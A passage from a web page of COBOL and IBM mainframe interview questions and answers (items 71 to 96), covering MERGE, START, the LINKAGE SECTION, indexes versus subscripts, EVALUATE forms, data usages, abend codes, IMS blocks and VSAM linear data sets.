<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">In the OUTPUT PROCEDURE, output file is opened, the sorted record is returned to the Output record area and then the record is written. Finally the file is closed. RETURN workfile RECORD into out-rec.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">71. What is the format of a simple MERGE verb? Can INPUT PROCEDURE and OUTPUT PROCEDURE can be specified for MERGE verb?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. MERGE work file ON ASC/DESC KEY key1&#8230;</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">USING inputfile1, inputfile2&#8230;</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">GIVING outputfile</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">INPUT PROCEDURE cannot be specified. Only OUTPUT PROCEDURE can be specified</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">72. How will you position an indexed file at a specific point so that the subsequent sequential operations on the file can start from this point?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Use START</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">START filename KEY IS EQ/GT/LT.. dataname</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">INVALID KEY &#8230;</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">73. What are the access mode requirements of START statement?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Access mode must be SEQUENTIAL or DYNAMIC</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">74. What are the opening mode requirements of START statement?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l28 level1 lfo27; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Files must be opened in the INPUT or I-O mode. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">75.What is the LINKAGE SECTION used for? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. The linkage section is used to pass data from one program to another program or to pass data from a PROC to a program. It is part of a called program that &#8216;links&#8217; or maps to data items in the calling program&#8217;s working storage. It is the part of the called program where these share items are defined.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">76. If you were passing a table via linkage, which is preferable &#8211; a subscript or an index? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Wake up &#8211; you haven&#8217;t been paying attention! It&#8217;s not possible to pass an index via linkage. The index is not part of the calling programs working storage. Indexing uses binary displacement. Subscripts use the value of the occurrence.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">77. What is the difference between a subscript and an index in a table definition? </span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l26 level1 lfo30; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">A subscript is a working storage data definition item, typically a PIC (999) where a value must be moved to the subscript and then increment or decrement it by ADD TO and SUBTRACT FROM statements. An index is a register item that exists outside the program&#8217;s working storage. You SET an index to a value and SET it UP BY value and DOWN BY value. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">Subscript refers to the array occurrence while index is the displacement (in no of bytes) from the beginning of the array. An index can only be modified using PERFORM, SEARCH &amp; SET. Need to have index for a table in order to use SEARCH, SEARCH ALL Cobol statements.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">78. What is an in line PERFORM? When would you use it? Anything else to say about it? </span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l9 level1 lfo33; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">The PERFORM and END-PERFORM statements bracket all COBOL II statements between them. The COBOL equivalent is to PERFORM or PERFORM THRU a paragraph. In line PERFORMs work as long as there are no internal GO TOs, not even to an exit. The in line PERFORM for readability should not exceed a page length &#8211; often it will reference other PERFORM paragraphs. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">When the body of the Perform will not be used in other paragraphs. If the body of the Perform is a generic type of code (used from various other places in the program), it would be better to put the code in a separate para and use PERFORM paraname rather than in-line perform.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">79. What is the use of EVALUATE statement? How do you come out of an EVALUATE statement?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Evaluate is like a case statement and can be used to replace nested Ifs. The difference between EVALUATE and case is that no &#8216;break&#8217; is required for EVALUATE i.e. control comes out of the EVALUATE as soon as one match is made, There is no need of any extra code. EVALUATE can be used in place of the nested IF THEN ELSE statements.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">80. What are the different forms of EVALUATE statement?</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. EVALUATE EVALUATE SQLCODE ALSO FILE-STATUS</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">WHEN A=B AND C=D WHEN 100 ALSO &#8216;00&#8242;</span></p>
<p style="margin-left: 1.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">Imperative stmt imperative stmt </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">WHEN (D+X)/Y = 4 WHEN -305 ALSO &#8216;32&#8242;</span></p>
<p style="margin-left: 1.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">imperative stmt imperative stmt</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">WHEN OTHER WHEN OTHER</span></p>
<p style="margin-left: 1.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">imperative stmt imperative stmt</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">END-EVALUATE END-EVALUATE</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">EVALUATE SQLCODE ALSO A=B EVALUATE SQLCODE ALSO TRUE</span></p>
<p style="margin-left: 1.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">WHEN 100 ALSO TRUE WHEN 100 ALSO A=B</span></p>
<p style="margin-left: 3in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">imperative stmt imperative stmt</span></p>
<p style="margin-left: 1.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">WHEN -305 ALSO FALSE WHEN -305 ALSO (A/C=4)</span></p>
<p style="margin-left: 3in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">imperative stmt imperative stmt</span></p>
<p style="margin-left: 1in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">END-EVALUATE END-EVALUATE</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">81. Can you use the INSPECT (with TALLYING option) Cobol verb in a CICS COBOL program? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Yes, under COBOL II environment, but not OS/VS COBOL. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">82. What is an explicit scope terminator? </span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l38 level1 lfo36; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">A scope terminator brackets its preceding verb, eg. IF .. END-IF, so that all statements between the verb and its scope terminator are grouped together. Other common COBOL II verbs are READ, PERFORM, EVALUATE, SEARCH and STRING. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">83. What is the significance of &#8216;above the line&#8217; and &#8216;below the line&#8217;? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Before IBM introduced MVS/XA architecture in the 1980&#8217;s a program&#8217;s virtual storage was limited to 16 megs. Programs compiled with a 24-bit mode can only address 16 MB of space, as though they were kept under an imaginary storage line. With COBOL II a program compiled with a 31 bit mode can be &#8216;above the 16 Mb line. (This &#8216;below the line&#8217;, &#8216;above the line&#8217; imagery confuses most mainframe programmers, who tend to be a literal minded group.) </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">84. What was removed from COBOL in the COBOL II implementation? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Partial list: REMARKS, NOMINAL KEY, PAGE-COUNTER, CURRENT-DAY, TIME-OF-DAY, STATE, FLOW, COUNT, EXAMINE, EXHIBIT, READY TRACE and RESET TRACE. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">85. Explain call by context by comparing it to other calls. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. The parameters passed in a call by context are protected from modification by the called program. In a normal call they are able to be modified. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">86. What is the difference between comp and comp-3 usage? Explain other COBOL usages. </span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l18 level1 lfo39; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Comp is a binary usage, while comp-3 indicates packed decimal. The other common usages are binary and display. Display is the default. Comp is defined as the fastest/preferred numeric data type for the machine it runs on. IBM Mainframes are typically binary and AS400&#8217;s are packed.&#8217; </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">87. I understand the possible causes for S0C1 &amp; S0C4 abends, but what are they really? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. A S0C1 occurs if the CPU attempts to execute binary code that isn&#8217;t a valid machine instruction; e.g. if you attempt to execute data. A S0C4 is a memory protection violation. This occurs if a program attempts to access storage beyond the areas assigned to it. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">88. What happens when we move a comp-3 field to an edited ( say z(9).zz-) </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. The editing characters are to be used with data items with usage clause as display, which is the default. When you try displaying a data item with usage as computational it does not give the desired display format because the data item is stored as packed decimal. So if u want this particular data item to be edited u have to move it into a data item whose usage is display and then have that particular data item edited in the format desired. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">89. What are the causes for S0C1, S0C4, S0C5, S0C7, S0CB abends </span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l39 level1 lfo42; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">S0C1 &#8211; May be due to 1.Missing or misspelled DD name 2.Read/Write to unopened dataset 3.Read to dataset opened output 4.Write to dataset opened input 5.Called subprogram not found. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">S0C4 may be due to 1.Missing Select statement(during compile) 2.Bad Subscript/index 3.Protection Exception 4.Missing parameters on called subprogram 5.Read/Write to unopened file 6.Move data from/to unopened file.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">S0C5 May be due to 1.Bad Subscript/index 2.Close an unopen dataset 3.Bad exit from a perform 4.Access to I/O area(FD) before read.</span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">S0C7 may be due to 1.Numeric operation on non-numeric data 2.Un-initialize working-storage 3.Coding past the maximum allowed sub script. S0CB may be due to 1.Division by Zero </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">90. What will happen if you code GO BACK instead of STOP RUN in a stand-alone COBOL program i.e. a program which is not calling any other program. </span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l41 level1 lfo45; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Both give the same results when a program is not calling any other program. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">91. What is the difference between an External and a Global Variable &#8217;s? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. Global variables are accessible only to the batch program whereas external variables can be referenced from any batch program residing in the same system library. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">92. WHAT IS REPORT-ITEM?</span><span style="font-size: 10pt; font-family: Arial;"> </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. A REPORT-item is a field to be printed that contains EDIT SYMBOLS </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">93. You are writing report program with 4 levels of totals:city,state,region and country. The codes being used can be the same over the different levels, meaning a city code of 01 can be in any number of states, and the same applies to state and region code show. Do you do your checking for breaks and how do you do add to each level? </span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l12 level1 lfo48; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Always compare on the highest-level first, because if you have a break at a highest level, each level beneath it must also break. Add to the lowest level for each rec but add to the higher level only on break. </span></li>
</ol>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">94. What is PSB &amp; ACB? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. PSB : Program specification block. Inform about how a specific program is to be access one or more IMS DB. It consists of PCB(Prg Communication Block). Information to which segment in DB can be accessed, what the program is allowed to do with those segment and how the DB is to be accessed. ACB : Access Control Blocks are generated by IMS as an expansion of information contained in the PSB in order to speed up the access to the applicable DBD&#8217;s. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">95. What&#8217;s a LDS(Linear Data Set) and what&#8217;s it used for ? </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. LDS is a VSAM dataset in name only. It has unstructured 4k (4096 bytes) fixed size CIs which do not contain control fields and therefore from VSAM&#8217;s standpoint they do not contain any logical records. There is no freespace, and no access from Cobol. Can be accessed by DB2 and IMS fast path datasets. LDS is essentially a table of data maintained on disk. The &#8216;table entries&#8217; must be created via a user program and can only be logically accessed via a user program. When passed, the entire LDS must be mapped into storage, then data is accessed via base and displacement type processing. </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; color: blue; font-family: Arial;">96. What is the Importance of GLOBAL clause According to new standards of COBOL </span></p>
<p style="margin-left: 0.5in; tab-stops: 45.8pt 91.6pt 137.4pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt;"><span style="font-size: 10pt; font-family: Arial;">A. When any data name, file-name , Record-name, condition name or Index defined in an Including Program can be referenced by a directly or indirectly in an included program, Provided the said name has been declared to be a global name by GLOBAL Format of Global Clause is01 data-1 PIC 9(5) IS GLOBAL. </span></p>
